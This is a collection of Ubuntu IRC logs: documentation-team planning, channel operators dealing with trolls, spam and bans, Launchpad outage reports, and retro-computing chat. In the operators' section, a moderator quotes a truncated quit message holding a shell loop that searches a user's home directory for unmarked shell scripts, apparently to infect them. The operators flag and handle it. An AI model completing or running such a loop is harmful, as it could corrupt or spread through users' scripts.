[03:08] <Madpilot> hi all
[03:22] <jsgotangco> hi all
[03:23] <Madpilot> hi jsgotangco
[03:23] <ajmitch> hi
[03:23] <Madpilot> how're the Breezy docs going?
[03:25] <jsgotangco> most of them are already translated
[03:26] <jsgotangco> today im going to email about the release notes
[03:26] <jsgotangco> (it needs to be filled out by devels)
[03:27] <Madpilot> cool. do we even have Klingon translations like the Launchpad promises? ;)
[03:28] <jsgotangco> haha
[03:28] <jsgotangco> can you speak Klingon or elmer fudd?
[03:28] <jsgotangco> hehe
[03:29] <Madpilot> we were poking thru the Ubuntu translations list here a while back, apparently Klingon really is on there
[03:29] <Madpilot> (no, I don't speak it...)
[03:30] <jsgotangco> heh
[03:30] <jsgotangco> a lot of dialects in my country are also there
[03:30] <Madpilot> that sounds more useful than Klingon. You're in the Phillipines, right?
[03:30] <jsgotangco> yes
[03:31] <Madpilot> how many dialects will have Ubuntu docs?
[03:32] <jsgotangco> not sure really
[03:32] <jsgotangco> hrmm
[03:32] <jsgotangco> i haven't seen the status of lp
[03:33] <jsgotangco> oh crappp...
[03:33] <jsgotangco> i forgot
[03:33] <jsgotangco> we have a meeting laters
[03:33] <Madpilot> DocTeam? another 1400 Zulu one?
[03:34] <jsgotangco> hell yeah
[03:34] <jsgotangco> we should fix this soon
[03:34] <Madpilot> hmm? fix what?
[03:35] <Madpilot> aside from that fact that 1400Z is 0700 local here... :| I'm not a morning person at all
[03:35] <jsgotangco> the meeting times
[05:06] <jsgotangco> hmm new kernel update??
[05:09] <ajmitch> jsgotangco: last one before release, too
[05:09] <jsgotangco> oohh kernel freeze
[05:10] <jsgotangco> this will probably fix the remaining acpi and alps issues that i have (hopefully)
[05:10] <ajmitch> I should just do a remote kernel upgrade & reboot my laptop for it :)
[05:11] <ajmitch> which is only connected via wireless
[05:11] <jsgotangco> ajmitch, 7 out of 12 functions keys in my unit now work
[05:11] <jsgotangco> which is very very good
[05:18] <ajmitch> excellent :)
[05:27] <jsgotangco> hmmm x died on my kernel update
[05:27] <jsgotangco> ahhh
[05:28] <jsgotangco> restricted modules
[08:48] <jsgotangco> nice
[08:48] <jsgotangco> crap
[08:48] <Burgundavia> ?
[08:48] <jsgotangco> i have yet to co breezy branch
[08:48] <Burgundavia> I checked into head
[08:50] <jsgotangco> "Its been six long months. But Ubuntu is back, and better than ever."
[08:51] <jsgotangco> isn't your opening line a bit...errmmm..short and flat?
[08:51] <Burgundavia> it is done, dammit
[08:51] <Burgundavia> the faqguide wasn't perfect, but hey, neither is the quicktour
[08:52] <Burgundavia> I expect to get a lot of good feedback over the next little while
[08:52] <Burgundavia> which I will incorporate into the dapper version
[08:52] <jsgotangco> i like the last paragraph..
[08:52] <Burgundavia> that one is mpt
[08:52] <Burgundavia> now the screenshooting begins
[09:33] <rob^> heh
[09:34] <rob^> I thought people can use the logo
[09:34] <rob^> thats what the web site says
[09:34] <Madpilot> ubuntuguide.org seems to still be offline, anyway
[09:36] <rob^> hey whats the go with branch?
[09:40] <rob^> yay
[09:41] <Burgundavia> rob^, yay?
[09:41] <rob^> nah, I just realised why branch wasn't working for me
[09:41] <Burgundavia> oh?
[09:41] <rob^> trying to d/l the wrong thing
[09:42] <rob^> is the whole 200mb in branch?
[09:42] <Burgundavia> yes
[09:43] <rob^> umm why?
[09:43] <jsgotangco> err
[09:43] <jsgotangco> don't get the whole branch
[09:43] <jsgotangco> you can just pull whatever you need
[09:43] <rob^> I don't want it ;)
[09:46] <rob^> did the change I made to the gfdl make it into branch already?
[09:48] <Madpilot> the Ubuntu wiki used to run on Zwiki, right?
[09:49] <Burgundavia> yes
[09:50] <Madpilot> so this can be deleted now: https://wiki.ubuntu.com/HelpPage
[09:50] <Madpilot> "This is a quick introduction to using Zwiki"
[10:07] <Burgundavia> jsgotangco, I am likely to only make the first 30 minutes of the meeting, if that
[10:07] <jsgotangco> Burgundavia,
[10:07] <jsgotangco> np
[10:07] <jsgotangco> rob^, moved to trunk?
[10:07] <jsgotangco> you mean moved to branch :)
[03:13] <jjesse> morning
[03:18] <mgalvin> morning jjesse
[03:18] <jjesse> is it morning for you mgalvin ?
[03:19] <mgalvin> yea, a gray cloudy morning
[03:19] <jjesse> bright and sunny morning for me
[03:48] <sivang> morning all
[03:48] <sivang> Madpilot: it did, it was horroble experience :-)
[03:57] <jsgotangco> errr
[03:59] <mgalvin> hey jsgotangco
[03:59] <jsgotangco> hey
[03:59] <jsgotangco> it seems no one is coming to the meeting
[03:59] <jsgotangco> hrmmm
[04:00] <mgalvin> is it now?
[04:00] <jsgotangco> its always friday 14utc
[04:01] <mgalvin> right, oops, i'll jump over there even though i've been out of the loop for a few weeks
[04:03] <jsgotangco> jbailey: ping?
[04:04] <jsgotangco> mdke: ping?
[04:06] <jsgotangco> jjesse: ping?
[04:06] <jsgotangco> rob^: ping?
[04:09] <jsgotangco> ah fudge it seems no one is coming
[04:30] <mdke> hi jsgotangco
[04:30] <mdke> just at work, doing a cheeky check of irc
[05:08] <jbailey> jsgotangco: heya
[05:09] <jsgotangco> ahhh
[05:09] <jsgotangco> we just finished the meeting :)
[05:10] <jbailey> Oh, whups!
[05:10] <jbailey> It's friday, I forgot.
[05:10] <jbailey> I've been talking with one of the supybot authors about an iCal plugin to notify of meetings.
[05:10] <mdke> cool idea
[05:11] <jbailey> cool idea, no spare time.
[05:11] <spayne> hi all
[06:10] <jsgotangco> good night
[06:11] <mdke> nite
[06:46] <rwabel> strange wiki:
[06:47] <rwabel> You didn't enter an email address in your profile. Select your name (UserPreferences) in the upper right corner and enter a valid email address. But I did in the past, and when I want to add it there is no filed for a password in UserPreferences
[06:47] <rwabel> I menat field :-)


[00:02] <ompaul> Seeker`,  -- 15266 Kbytes in 160 Requests.  progress
[00:02] <ompaul> but not enough :)
[00:03] <ompaul> -- 580 Kbytes in 39 Requests.
[00:03] <Seeker`> hmm
[00:03] <ompaul> getting there
[00:03] <ompaul> (A) a relay command had never been put back after the initial network outage
[00:03] <ompaul> postfix flush is useful :)
[00:07] <ompaul> -- 16 Kbytes in 4 Requests.
[00:14] <ompaul> Seeker`,
[00:14] <Seeker`> yes?
[00:14] <ompaul> sub:~# mailq
[00:14] <ompaul> Mail queue is empty
[00:14] <ompaul> sub:~#
[00:14] <ompaul> still not happy with dns
[00:15] <ompaul> but at least mail is back the way it should be
[00:16] <Seeker`> cool
[00:16] <ompaul> Host ****.*** not found: 2(SERVFAIL)
[00:17] <ompaul> I guess I can do the dns tomorrow it has lowered in priority
[00:17] <ompaul> so now I can go to bed
[00:17] <ompaul> :)
[00:17] <Seeker`> me too
[00:17]  * ompaul thanks postfix postconf post* to be honest
[00:18] <ompaul> cheers
[03:26] <nalioth> klined
[03:26] <Pici> ty
[03:27] <jdong> mmm, that reminds me, I need dinner
[04:59] <Flannel> anyone awake?
[04:59] <Flannel> er, more specifically, with access in -ot?
[04:59] <nalioth> Flannel: sure
[05:02] <Flannel> nalioth: not needed at the moment (as you saw), but it seems like it could get out of hand, and I like to know if the issue can be removed temporarily if needed vs having to diffuse it without a higher power.
[05:19] <nalioth> diffusion is always the best method
[05:21] <Flannel> Of course, but can't always be obtained.  When osmosis doesn't work, you need active transport.
[05:21] <nalioth> diffusion always works
[05:22] <nalioth> it's just sometimes the folks who know how aren't around
[08:10] <Myrtti> haha :-D
[08:17] <jussi01> uhoh...
[08:17] <jussi01> [07:51:17] <FloodBot1> bigfuzzyjesus has requested an exploit test
[08:17] <jussi01> [07:51:50] <FloodBot1> bigfuzzyjesus has been removed from the exploit quarantine
[08:22] <Myrtti> well that took a long time
[08:22] <Myrtti> he's been on quarantine forever
[08:24] <Flannel> sigh.
[08:24] <Flannel> that "hello sinnners" guy is back
[08:25] <jussi01> oh, yaty
[08:28] <Myrtti> goddamnit
[08:28] <Flannel> Myrtti: I haven't seen him in a while.  but its seekingtruth
[08:28] <jussi01> oops :P
[08:28] <Flannel> Myrtti: there's a whole lot of sin going on that channel, according to lastlog ;)
[08:28] <Myrtti> well that was easy
[08:28] <Myrtti> next issue?
[08:29] <Myrtti> I seem to fix problems with my presence only
[08:29] <Myrtti> it's my perpetual brightness and happy rays that I spread around me
[08:29] <Myrtti> sprinkle magic fairy dust with each line on irc
[08:30] <Myrtti> (re: 10:28 @,- seekingtruth [n=seekingt@unaffiliated/seekingtruth] has quit ["Love and Seek  the Truth!"]
[08:30] <Flannel> He was here 30 minutes ago too, apparently.
[08:30] <Flannel> well, 48
[09:33] <jussi01> meh...
[09:33] <jussi01> Im hungry
[09:42] <Myrtti> and I still need coffee
[09:43] <jpds> Your EMP Launcher is showing, Myrtti.
[09:43] <Myrtti> ah, it is
[09:44] <Myrtti> because I wanted someone to check something for me
[09:44] <Myrtti> I forgot what
[09:44] <jpds> "is my browser broken again or are the show/hide log links unclickable?" ?
 Plasmoids FTW
[15:13] <Myrtti> thanks for encouragement to fix a bug
[15:14] <Myrtti> :-þ
[15:14] <jussi01> hehe :P
[15:14] <Myrtti> hiih
[15:14]  * jussi01 huggles Myrtti
[15:14] <Myrtti> hmmmm
[15:53] <Pici> :/
[15:55]  * Myrtti giggles
[15:55] <Myrtti> I found a working photo frame screenlet ♥
[15:56] <Tm_T> good (:)
[15:58] <Myrtti> http://gnome-look.org/content/show.php/Frame+Screenlet?content=75813
[15:58] <Myrtti> ♥
[16:03] <jussi01> Pici: Pwned!
 http://www.pennergame.de/change_please/6896045/ spammer (also PM) in #kubuntu
[17:20] <tomaw> bazhang: i'll take a look
[17:20] <bazhang> thanks tomaw
[17:20]  * jussi01 hugs tomaw
[17:23] <Myrtti> oh dear god I hate headaches
[17:31] <nalioth> bazhang: you can report them and get their acccounts closed.  just click the link and then at the bottom, there is a button or link marked "diese ist spam gemalden"  and that is the link to use to report them
[17:31] <bazhang> nalioth, thanks
[17:38] <Myrtti> time for morning porridge and coffee...
[18:20] <LjL> ... morning?
[18:20] <Myrtti> sshh
[18:20] <Pici> its a secret
[18:20] <Myrtti> I've not had anything to eat - nor had my coffee yet
[18:21] <Pici> *gasp*
[18:26] <Myrtti> hasn't been best of days, this headache is making my head asplode
[18:26] <Pici> :(
[18:29] <Myrtti> urhhg
[18:29] <Myrtti> clump of vanilla in my porridge
[18:44] <Myrtti> popey: poit
[18:44] <LjL> this fellow in -offtopic has an issue with the ubuntu logo being used in his opinion improperly. i don't suppose there is a relevant irc channel, and i should point him to the lawyers.ubuntu.com instead?
[18:45] <Pici> Thats not a valid website...
[18:45] <Myrtti> ugh
[18:45] <Myrtti> I might be able to check my emails for the info on who we contacted when Ubuntu Finlands logo was misused
[18:46] <LjL> Pici: was just a way of saying...
[18:46] <Pici> Theres an email address on the trademark page iirc.
[18:46] <Myrtti> yup
[18:56] <LjL> i might be going for the ompaul solution now...
[18:56] <Myrtti> oh?
[18:57] <LjL> yeah i had the right instinct when i banned the guy from #ubuntu in the first place
[18:57] <Myrtti> who
[18:57] <Pici> coagen
[18:57] <LjL> coagen
[18:57] <Myrtti> oh
[18:57] <LjL> who's now managed to troll the rest of -ot
[19:00] <Myrtti> I'm so confused now, I joined couple of new channels today and configured bitlbee on this machine
[19:00] <Myrtti> and now all my channel numbers are haywires
[19:01] <Myrtti> if someone is horribly bored, evand would like to have a relay at -classroom
[19:01] <Pici> a relay race?
[19:02] <Myrtti> I relayed for liw the past hour
[19:02] <Myrtti> copypasting questions from -classroom-chat to -classroom
[19:02] <Pici> I would... but I really can't devote that much attention :/
[19:07] <Myrtti> should I +m and start talking about kittens?
[19:07] <Pici> Myrtti: Nah, give it a few minutes
[19:08] <LjL> Myrtti: well that's what i was calling the "ompaul solution"
[19:08] <Myrtti> yup
[19:08] <Pici> LjL: Did it involve invoking cowsay as well?
[19:08] <Myrtti> I don't even know if this machine has cowsay
[19:08] <ompaul> Myrtti, make it have cowsay
[19:09] <LjL> Pici: well, no, my ompaul solution isn't like the real thing, it's like foreign food eaten at a foodchain
[19:09] <Myrtti> yay
[19:09] <Myrtti> it has
[19:09] <LjL> would you doubt it
[19:11] <Myrtti> /exec -o cowsay -t no trolling
[19:11] <Myrtti> damn
[19:29] <LjL> ompaul: eh, why did he tell you that in the first place?
[19:29] <LjL> and christ, don't ban an isp...
[19:29] <ompaul> LjL, cos he got muted for being
[19:29] <ompaul> I didn'#t
[19:30] <ompaul> I hit a locality
[19:30] <Pici> its a bit wide
[19:30] <ompaul> * blueyonder.co.uk :End of /WHO list.
[19:31] <LjL> you didn't do that right
[19:31] <stdin> ompaul: dals is part of london range, and blueyonder is static IP
[19:31] <LjL> there are 4 people connected from dals.blueyonder.co.ul
[19:31] <LjL>  /who *dals.blueyonder.co.uk
[19:31] <ompaul> lovely
[19:31] <jrib><EMAIL_ADDRESS>bit overkill no?
[19:31] <ompaul> ok
[19:32] <stdin> blueyonder (Telewest/VirginMedia) is a major UK ISP, please don't kill the UK :)
[19:32] <ompaul> in -ot
[19:32] <ompaul> hehehe
[19:33] <ompaul> stdin, but I'm irish ;-)
[19:33] <Tm_T> harhar
[19:33] <ompaul> don't anyone remove that idiot for a week
[19:33] <ompaul> firstly he was trolling
[19:33] <stdin> I'm more irish than english, but I still need my interwebs from them :p
[19:34] <ompaul> stdin, I is irish in passport, accent, education, and madness :)
[19:35] <ompaul> LjL, your call on that url
[19:35] <ompaul> I might ban the planet
[19:37]  * Pici sighs
[19:39] <ompaul> ya go trolls
[19:40] <ompaul> I got to troll the airwaves soon ;-)
[19:40] <ompaul> well that ain't true - promoting SFD
[19:43]  * Pici takes a deep breath
[19:43] <jdong> Pici: stop your skype advertisements. sheesh.
[19:43] <jdong> *ducks*
[19:44] <Pici> :P
[20:03]  * jrib eyes wasted
[20:03] <jrib> interesting...
[20:04] <Pici> indeed
[20:08] <PriceChild> What just happenned?
[20:08] <PriceChild> oh wait nevermind
[20:18] <Myrtti> [19:17] DCC received CTCP SEND with invalid parameters from Amorita
[20:19] <Myrtti> damnit
[20:23] <PriceChild> Myrtti: I hope you pasted that in full by acciadent :)
[20:23] <PriceChild> i can't spell
[20:23]  * Myrtti sighs and considers bed and dying
[20:24] <Myrtti> PriceChild: not only that, I also removed someone by accident at #u
[20:24] <Myrtti> I want to shoot my head off.
[20:25] <nalioth> they are being klined as soon as they attack
[20:25] <Pici> Myrtti: It happens
[20:25] <nalioth> unfortunately we can't foresee this stuff
[20:25] <Myrtti> I should rewrite my aliases
[20:32] <Myrtti> HARDLY
[20:33] <LjL> hardly?
[20:34] <jrib> erm
[20:34] <jrib> what did the bots just do in -unregged?
[20:35] <jrib> oh never mind I didn't see them -r ubuntu
[20:35] <LjL> jrib: they shouldn't have
[20:35] <LjL> jrib: you changed the rR modes yourself, subsequently they shouldn't have touched them
[20:35] <jrib> floodbot3 did -rR on its own afaict
[20:35] <LjL> jrib: yes, i know, but that's a bug
[20:35] <LjL> it shouldn't happen
[20:35] <jrib> ah, ok
[20:36] <LjL> also, the new services are pretty bad to them :|
[20:39] <LjL> jrib: ah, no, that's not a bug... they hand over control to the humans if you set *plus* something, not *minus* something, and that's actually the right thing for them to do
[20:39] <jrib> yeah, makes sense
[21:11] <Myrtti> this is sooooo cool
[21:11] <Myrtti> I just added a new statusbar to my irssi!
[21:11] <Myrtti> WICKED
[21:12] <Tm_T> why?
[21:12] <Myrtti> because I'm using xob's bitlbee now
[21:12] <Tm_T> hmmm
[21:12] <Tm_T> screenshot?
[21:12] <LjL> why did they have to change the darn services
[21:13] <Myrtti> 37 channels and going up, there wasn't room left for bitlbee_typing_notice.pl typing_notice item, even less space for bitlbee_join_notify join_notify item on the bar
[21:13] <nickrud> ah, to see LjL again is pleasant
[21:13] <Myrtti> even when I've already removed all other activity levels from the statusbar than PUBLIC
[21:13] <LjL> hi nickrud
[21:14] <nickrud> LjL, I was beginning to think you sucked me in, then went and hid :) Good to see you back
[21:14] <LjL> nickrud: that is accurate
[21:14] <nickrud> LjL, I took a year long sabattical back when, yours was pretty short
[21:16] <LjL> nickrud: i should have made it longer, coming back from vacation *and* going back to irc at the same time isn't really very healthy
[21:16]  * Myrtti huggles LjL
[21:16] <Myrtti> we love you
[21:16] <nickrud> LjL, look at it this way: there is no healthy way to irc ;p
[21:16] <Myrtti> *I* love you
[21:16] <LjL> Myrtti: you had your coffee this time didn't you
[21:16]  * Myrtti nods
[21:17] <Myrtti> and the painkillers have killed my headache too
[21:17] <LjL> nickrud: there are different kinds of worse ways, though
[21:18] <nickrud> LjL, true that. We'll all be glad when you get a decent balance, and are around regularly again.
[21:18] <LjL> balance is the big problem here, and not just with irc as i've just clearly demonstrated at home
[21:20] <nickrud> yeah, I've been working 14-16 hour days recently. No time for fun. I'm taking this afternoon off
[21:46] <Myrtti> this is going to be sooooo wicked.
[21:46] <Myrtti> so very wicked indeed
[21:47] <Seeker`> Myrtti: ?
[21:59] <Jordan_U> noodlesgc's quit message contains a command which looks for shell scripts in the user's home directory and does something ( It looks like it's cut off ), not sure if it's malicious or not
[22:02] <Pici> Jordan_U: Thanks for the heads up
[22:02] <Jordan_U> Pici: np
[22:02] <jussi01> [23:55:23] <-- noodlesgc<EMAIL_ADDRESS>has quit ("for f in `find ~ -perm /u=x -type f`;do if cat $f|grep -c '#\! /bin/sh' > /dev/null&&! cat $f|grep -c sighere > /dev/null;the)
[22:02] <Pici> something with all the executables in ~/
[22:03] <Pici> jussi01: what do you think?
[22:04] <jussi01> Pici: IM not real sure on it. :/
[22:05]  * mneptok is taking care of it
[22:06] <Pici> mneptok is you?
[22:06]  * jussi01 hugs mneptok
[22:06] <mneptok> Pici: huh?
[22:06] <jussi01> garthounet: please go to #ubuntu-irc
[22:06] <garthounet> what this?
[22:07] <mneptok> garthounet: allez-vous a la canal #ubuntu-irc, SVP
[22:07] <garthounet> jy suis
[22:07] <mneptok> parfait
[22:08] <garthounet> attendez
[22:08] <mneptok> -z. je suis un "tu" en IRC. :)
[22:10] <garthounet> je suis bannie canal francais aide moi
[22:10] <garthounet> i am banned the french canal
[22:12] <jussi01> garthounet: #ubuntu-irc is the place for this, you can part here now :)
[22:12] <garthounet> what?
[22:13] <jussi01> garthounet: You can leave this channel now - this business is done in #ubuntu-irc
[22:14] <mneptok> garthounet: la canal #ubuntu-irc est la canal propre pour cette discussion, d'accord?
[22:14] <garthounet> ok
[22:14] <garthounet> jyvais merci
[22:15] <mneptok> je pense la message du quitter est la probleme ;)
[22:15] <LjL> non
[22:15] <LjL> il y a plus de problemes avec lui
[22:16] <jussi01> LjL: ahh. ok. Well all I know is he was in #kubuntu asking for someone who spoke french, said he was banned in the french channels. I reffered him to -irc as you saw
[22:17] <Myrtti> o___0 I understood!
[22:17] <Myrtti> woo
[22:17] <jussi01> heheh
[22:18] <LjL> jussi01: yes but for that matter, yesterday he was in #ubuntu-fr asking for someone who could unban him from the english channel (and that would be me)
[22:18] <jussi01> oh for petes sake... alright, I get it now.
[22:19] <Flannel> jussi01: but wait!  I want to bug you about it too!
[22:19] <jussi01> Flannel: If I left my manners at the door I could say some things to you now... :P
[22:20] <Flannel> jussi01: I have no idea what we're scolding you for.  Mind letting me know first? ;)
[22:20] <jussi01> Flannel: nothing!
[22:20] <jussi01> Im not being scolded (that I know of...)
[22:20] <Tm_T> oh boy
[22:20] <Tm_T> someone ended fixing gtk apps
[22:23] <Tm_T> but now sleep, good night kids
[22:23] <Myrtti> tata
[22:23]  * Myrtti hugs
[22:25] <mneptok> LjL: we could just sic the Quebecois on him ....  >:)
[22:52] <jussi01> Pici: you around?
[22:52] <Pici> jussi01: yep
[22:53] <jussi01> Pici: got a little while to spare? there is a borderline guy in #kubuntu - it needs watching and I got to run for a bit
[22:53] <Pici> jussi01: who?
[22:53] <PriceChild> |-phreak-|?
[22:53] <jussi01> Im sure youll see soon enough, but |- phreak |
[22:53] <jussi01> PriceChild: yeps...
[22:54] <jussi01> anyway, Im off for 10-15
[22:55] <PriceChild> I'm messaging him
[22:55] <Pici> PriceChild: okay
[23:12] <ompaul> night all
[23:38] <jussi01> meh, got delayed.. sleep time now. nini


[07:58] <acheronuk> wgrant: The proxy server received an invalid response from an upstream server.
[07:58] <acheronuk> The proxy server could not handle the request GET /405780697/buildlog_ubuntu-disco-amd64.kconfigwidgets_5.54.0+p19.04+git20190111.0330-0_BUILDING.txt.gz.
[07:58] <acheronuk> Reason: Error reading from remote server
[07:58] <acheronuk> ^^ error getting ppa build log
[07:59] <wgrant> acheronuk: We're working on it, some weird cloud issue
[07:59] <wgrant> Thanks for the report though
[07:59] <acheronuk> wgrant: np. thanks for quick reply
[15:38] <seb128> hey there, is launchpad having issue? I've failed builds without bug logs and loading package diffs timeouts/errors out
[15:40] <cjwatson> There are ongoing librarian/swift issues yes
[15:41] <cjwatson> Though how long ago were your problems?
[15:41] <cjwatson> The problem is mostly with swift and IS is trying to work it out; there's not much we can do from the LP end
[15:42] <seb128> they started a few minutes ago, but I was doing local hacking before so it's just when I tried to interact with launchpad
[15:42] <seb128> k
[15:42] <seb128> like trying to load http://launchpadlibrarian.net/349377924/freetype_2.8.1-0.1ubuntu1_2.8.1-0.1ubuntu2.diff.gz gives me a proxy error still
[15:42] <seb128> I can wait I guess, thx cjwatson
[15:42] <cjwatson> You can watch #is-outage internally
[15:43] <seb128> thx
[16:04] <LocutusOfBorg> is launchpad having a sad day?
[16:05] <LocutusOfBorg> I can't even download a build log, and uploads seems not processed https://launchpadlibrarian.net/405809312/buildlog_ubuntu-disco-ppc64el.emacs_1%3A26.1+1-3_BUILDING.txt.gz
[16:06] <cjwatson> yes
[16:06] <cjwatson> being investigated by IS
[16:08] <LocutusOfBorg> thanks! I looked at the topic and found nothing interesting :)


[01:48]  * arraybolt3 wonders how practical it would be to implement an SSD or SD card with very low-speed, low-quality SRAM and a small battery and use that as storage that doesn't wear out very easy
[01:50] <JanC> stuff like that has existed since the 1980s at least  ;)
[01:54] <JanC> https://en.wikipedia.org/wiki/RAM_drive#Dedicated_hardware_RAM_drives
[01:56] <sarnold> the one that I knew that you could actually buy .. https://ddrdrive.com/x1_product_brief.pdf  *four gigabytes*
[01:56] <JanC> oh, but I remember ones from the 1980s that were 1 or 2 MiB
[01:56] <sarnold> *nod*
[01:56] <JanC> one for the ZX Spectrum even
[01:56] <sarnold> lol
[01:57] <JanC> they would have ads in some Speccy magazines
[01:58] <JanC> must have been a lot faster (and less noisy) than the cassette tapes I used with it  :P
[02:07] <JanC> "2MB RAM CARD for PC" / "Includes Ramdisk/Print Spooler Software" https://books.google.be/books/content?id=my8EAAAAMBAJ&hl=nl&pg=PA56&img=1&zoom=3&sig=ACfU3U0bAYe2muiGlGb-59FqZL6rYOLUYg&w=1280
[02:07] <JanC> $399
[02:10] <daftykins> definitely had a RAM disk on the RISC OS running Acorn Archimedes i had in school
[02:10] <daftykins> even though i was 2 when i came out, somehow they lasted in schools
[02:11] <JanC> some computers would have more RAM than the processor/OS could address directly & those were used as RAM disks too sometimes
[02:13] <JanC> I could do something like that on my IBM XT compatible too (which had 1 MiB RAM, but DOS could famously only use 640 KiB of it...)
[02:13] <JanC> so I had a 128 KiB RAM disk on it  :)
[02:14] <JanC> which I used to run COMMAND.COM from
[02:14] <daftykins> \o/
[02:14] <daftykins> blazing fast!
[02:14] <JanC> no need to swap floppies then
[02:14] <daftykins> :D
[02:15] <JanC> otherwise I got the dreaded "please insert DOS disk" after running an application from another floppy
[02:16] <JanC> as DOS removed (most of) COMMAND.COM from RAM to have more to run an application...
[02:17] <arraybolt3> I remember fighting with that a bit at one point :P
[02:17] <arraybolt3> I'm not old enough to have ever used DOS as a regular PC, but I did play with it quite a bit just because I liked old stuff.
[02:18] <JanC> I even ran Windows 2.x on that machine   ;)
[02:20] <JanC> running Windows from a DD 720K floppy, imagine that  :)
[02:21] <arraybolt3> reminds me of a meme I saw where someone was showing the floppy disk version of Windows 8.1 Pro. There were like two giant cardboard boxes with four massive plastic sleeves each, each of which contained a massive stack of floppies. The first one was labeled "Disk 1 of 2876" or something insane like that
[02:23] <JanC> https://archive.org/details/windows_2.03_english_with_ms-dos_6.22_eng if you ever wanna try...
[02:23] <JanC> you can probably run it from freedos
[02:24] <JanC> DOS 6.22 they have on that page is like 6× larger than Windows 2.0x
[02:25]  * daftykins pats originals
[02:25] <arraybolt3> I've installed Win3.1 in a VM before. It was really less than fun not because of the OS being unstable, but because of my screen being so small :P
[02:26] <arraybolt3> (I mean, it was fun to install, less than fun to use)
[02:26] <sarnold> 640x480 viewed on a 15" screen vs in a 1.5" dialog box..
[02:26] <arraybolt3> exactly
[02:27] <arraybolt3> only I managed to get mine up to a whopping 800x600 :D I don't think I even managed 1024x768.
[02:27] <JanC> it could do higher resolutions  :)
[02:27] <JanC> need a proper driver though
[02:28] <arraybolt3> don't think I had a proper QEMU driver
[02:28] <JanC> there might be VBE (VESA) drivers for Windows 3.1, but not for 2.0x  :)
[02:29] <JanC> and it should be possible to have a BIOS with VBE for Qemu I'm sure
[02:30] <JanC> as VBE just provided a more or less standardised way to switch to higher resolutions that otherwise behaved more or less like (S)VGA
[02:34] <JanC> oh... http://www.win3x.org/win3board/viewtopic.php?t=5408
[02:36] <lotuspsychje> good morning
[02:36] <Paris> What tintin said to the smurfette? <tintin> are you gay?
[02:37] <Paris> wrong win.
[02:37] <Paris> lol hi.